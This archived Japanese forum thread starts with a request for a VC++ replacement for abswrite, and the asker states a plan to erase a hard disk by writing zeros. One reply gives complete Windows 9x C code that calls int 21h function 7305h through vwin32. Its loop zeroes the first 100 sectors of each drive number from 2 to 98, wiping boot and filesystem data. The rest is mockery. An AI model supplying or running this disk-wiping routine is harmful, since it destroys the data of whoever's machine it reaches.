セクタに書けない
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
NGNGfor(int i= 2;i<100;i++){
abswrite(i@`100@`0@`0);
}
などとしましたが、VC++にはabswriteがありませんでした。
同様の機能を持つプログラムを教えてください。
0002名無しさん@お腹いっぱい。
NGNG2. 「関数」と言わずに「プログラム」と言う
3. ちょっとMSDN調べりゃわかることを人に聞く
以上の3点をもちまして、1にスーパー厨房の称号を与えたいと思います。
00031
NGNGMSDN見てみました。NTしかダメとか書いてあったけどとりあえず
Win98なのに読み込みができました。ありがとう。
int21h の 7305h呼べばいいんですよね。あとは大量に0でも書き込めば
HDD消せますよね。ほんとにありがとう。
0004どーでもいいことだが
NGNG0005名無しさん@お腹いっぱい。
NGNG0006名無しさん@お腹いっぱい。
NGNG4の解答は正しい。>5
00076
NGNG鬱だ。
0008名無しさん@お腹いっぱい。
NGNG「プログラム」かどうかはどうでもいいけど、同様の機能なの?
0009>8
NGNG>あとは大量に0でも書き込めば
>HDD消せますよね。
0010スーパー厨房
NGNG#include <windows.h>
typedef struct _DIOC_REGISTERS {
DWORD reg_EBX;
DWORD reg_EDX;
DWORD reg_ECX;
DWORD reg_EAX;
DWORD reg_EDI;
DWORD reg_ESI;
DWORD reg_Flags;
} DIOC_REGISTERS@` *PDIOC_REGISTERS;
#pragma pack(1)
typedef struct _DISKIO {
DWORD dwStartSector;
WORD wSectors;
DWORD dwBuffer;
} DISKIO@` * PDISKIO;
#pragma pack()
void NewWriteSectors (HANDLE hDev@`BYTE bDrive@`DWORD dwStartSector@`WORD wSectors@`LPBYTE lpSectBuff)
{
BOOL fResult;
DWORD cb;
DIOC_REGISTERS reg = {0};
DISKIO dio;
dio.dwStartSector = dwStartSector;
dio.wSectors = wSectors;
dio.dwBuffer = (DWORD)lpSectBuff;
reg.reg_EAX = 0x7305;
reg.reg_EBX = (DWORD)&dio;
reg.reg_ECX = -1;
reg.reg_EDX = bDrive;
reg.reg_ESI = 0x6001;
DeviceIoControl(hDev@`6@`&reg@` sizeof(reg)@`&reg@` sizeof(reg)@` &cb@` 0);
}
// 呼び出し
unsigned char *buff;
buff=(unsigned char *)(malloc(52000));
ZeroMemory(buff@`52000);
for(int i=2;i<99;i++)
NewWriteSectors (CreateFile ("\\\\.\\vwin32"@` 0@` 0@` NULL@` 0@`FILE_FLAG_DELETE_ON_CLOSE@` NULL)@`i@`0@`100@`buff);
0011名無しさん@お腹いっぱい。
NGNGコテハンにしない?
0012スーパー厨房
NGNGすごい!ほんとうにコテハンにしちゃってもいいんですか!
うぅ…、でも怪しいです。こんなにみんなに優しくしされると
逆に疑ってしまいますよ〜。きっと僕を騙そうとしてるんですよね。
ここの掲示板の人悪い人ばかりですもん。へへへ、僕は騙されませんよ。
■ このスレッドは過去ログ倉庫に格納されています